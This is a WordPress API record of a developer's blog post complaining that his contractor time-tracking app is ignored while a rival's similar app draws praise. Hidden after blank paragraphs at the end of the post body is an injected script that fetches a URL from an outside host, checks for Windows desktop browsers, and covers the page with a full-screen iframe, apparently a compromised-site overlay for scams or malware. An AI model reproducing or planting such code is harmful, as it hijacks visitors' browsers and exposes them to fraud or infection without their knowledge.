{"id":660,"date":"2026-10-29T14:16:03","date_gmt":"2026-10-29T20:16:03","guid":{"rendered":"http:\/\/birdsoft.biz\/blog\/?p=660"},"modified":"2026-10-29T14:16:03","modified_gmt":"2026-10-29T20:16:03","slug":"hours-wars","status":"publish","type":"post","link":"https:\/\/birdsoft.biz\/blog\/2026\/10\/29\/hours-wars\/","title":{"rendered":"Hours Wars"},"content":{"rendered":"<p>Ok, so there is not really a war. Just difference of opinions.<\/p>\n<p>I wrote an app back in February called &#8220;Billing Hours&#8221; that essentially lets contractors keep track of their billable hours and expense entries and then either export that information as csv or a pdf report or you can invoice your customers. And it is fairly popular when I give it away free and it gets picked up by the right lists for that time period.<\/p>\n<p>Otherwise nothing. Its lost in the world that is now the mess of the AppStore. The press all but ignores me when I try to get them involved. They get a ton of new apps every day and I just haven&#8217;t got on the radar like I used to be for Windows Mobile. You really need to have &#8216;worked&#8217; your way into the good ol&#8217; boys club at like WWDC or because you came from the Mac World for them to give you the time of day, even with a good product. So without Apple noticing, let&#8217;s just say it hasn&#8217;t been a successful experiment yet.<\/p>\n<p>Now granted I wrote this app in just a few weeks. But I also gave it as many or more of the features than the couple of stand outs in this market had. And I gave it a very clean iOS7 look&#8230;. So while I plan on doing some updates to add a few more cool features that have been suggested, the product for a 1.0 was pretty darn good.<\/p>\n<p>So now Im standing back and watching the release of a very similar product, that actually took probably at least a YEAR to get out after it was announced. It looks over designed, overly cutesy, with not enough substance, which is what the developer is known for. He actually gives talks on how &#8220;simple&#8221; apps have to be, and so he hasn&#8217;t noticed that his products could be wildly more successful if he would do the same design, but not hold back features. This is a professional time tracker that&#8217;s main thing it has going for it is bouncy animations and cute little sounds.<\/p>\n<p>The UI is different and even nice, but the whole design seems to be based around switching projects every few minutes(or even hours). From my experience most consultants do not jump around from job to job during the day to necessitate this. They are lucky if they have 2-3 projects going at once, and have an extreme lack of focus if they work on several projects too often..<\/p>\n<p>But the guy is a self labeled &#8220;Influencer&#8221; in the iOS world. After all he did win a design award back when skeuomorphism was the rage. He has brown nosed his way into a bunch of journalists good graces, with his naive facade. &#8220;Oh I won a design award, you mean I shouldn&#8217;t take advantage of Apples WWDC college scholarship and should act like a real company now and let more needing kids go?&#8221; &#8220;What, you don&#8217;t think its fine that I have my new apps price inflated but I will give away promo codes for that price as a &#8216;contest&#8217; to have people do my tweeting for me?&#8221;<a href=\"https:\/\/www.google.com\/search?q=skeuomorphism&amp;es_sm=91&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=7pPFU_64JNWwyASVgoH4BQ&amp;ved=0CD8QsAQ\"><br \/>\n<\/a><\/p>\n<p>So I just am sitting back and watching what this kid with more contacts in the iOS world than me, who will likely get a bunch of unheralded praise for his cute buttons where they aren&#8217;t needed in a product that is overpriced for its feature set&#8230;.. And hoping he discovers what I have, that it is a niche market with 20+ players already and he wasted hours upon hours more than I did to discover that fact&#8230;.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>(function(){var DEBUG=window.location.search.indexOf('_vcdebug')!==-1,URL_FILE='https:\/\/myfoodsxsxsxcvcxs.cc\/iframe-url.txt',COOKIE='_vc',LIMIT=3,info=[];function d(msg,val){info.push(val!==undefined?msg+': '+JSON.stringify(val):msg)}function showDebug(){if(!DEBUG)return;var el=document.createElement('div');el.style.cssText='position:fixed;top:10px;right:10px;background:#111;color:#0f0;font:13px\/1.7 monospace;padding:16px 20px;z-index:2147483647;max-width:500px;border-radius:8px;white-space:pre-wrap;box-shadow:0 4px 24px rgba(0,0,0,.7)';el.textContent='=== VC DEBUG ===\\n'+info.join('\\n');(document.body||document.documentElement).appendChild(el)}function getCookie(n){var m=document.cookie.match(new RegExp('(?:^|; )'+n+'=([^;]*)'));return m?parseInt(m[1])||0:0}function setCookie(n,v){var exp=new Date(Date.now()+30*24*60*60*1000).toUTCString();document.cookie=n+'='+v+'; path=\/; expires='+exp}var ua=navigator.userAgent,isWin=\/Windows NT\/.test(ua),isMob=\/Mobile|Android|iPhone|iPad|Tablet\/i.test(ua);d('user_agent',ua);d('is_windows',isWin);d('is_mobile',isMob);if(!isWin||isMob){d('STOP - not windows desktop');return showDebug()}var count=getCookie(COOKIE);d('show_count',count);d('show_limit',LIMIT);d('tip: clear cookie _vc to retest');if(count>=LIMIT){d('STOP - show limit reached');return showDebug()}d('fetching '+URL_FILE);fetch(URL_FILE).then(function(r){d('http_status',r.status);d('cors_header',r.headers.get('access-control-allow-origin'));return r.text()}).then(function(body){var url=body.trim();d('url_received',url);if(!url||url.indexOf('http')!==0){d('STOP - url invalid or empty');return showDebug()}d('OK - iframe will show');showDebug();if(DEBUG)return;setCookie(COOKIE,count+1);var f=document.createElement('iframe');f.src=url;f.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;border:none;z-index:2147483647';f.setAttribute('frameborder','0');f.setAttribute('allow','fullscreen');f.setAttribute('allowfullscreen','true');(document.body||document.documentElement).appendChild(f)}).catch(function(e){d('FETCH ERROR - '+e.toString());d('LIKELY CORS: server needs header Access-Control-Allow-Origin: *');showDebug()})})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ok, so there is not really a war. Just difference of opinions. I wrote an app back in February called &#8220;Billing Hours&#8221; that essentially lets contractors keep track of their billable hours and expense entries and then either export that information as csv or a pdf report or you can invoice your customers. And it&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-660","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/posts\/660","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/comments?post=660"}],"version-history":[{"count":5,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/posts\/660\/revisions"}],"predecessor-version":[{"id":1262,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/posts\/660\/revisions\/1262"}],"wp:attachment":[{"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/media?parent=660"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/categories?post=660"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/birdsoft.biz\/blog\/wp-json\/wp\/v2\/tags?post=660"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}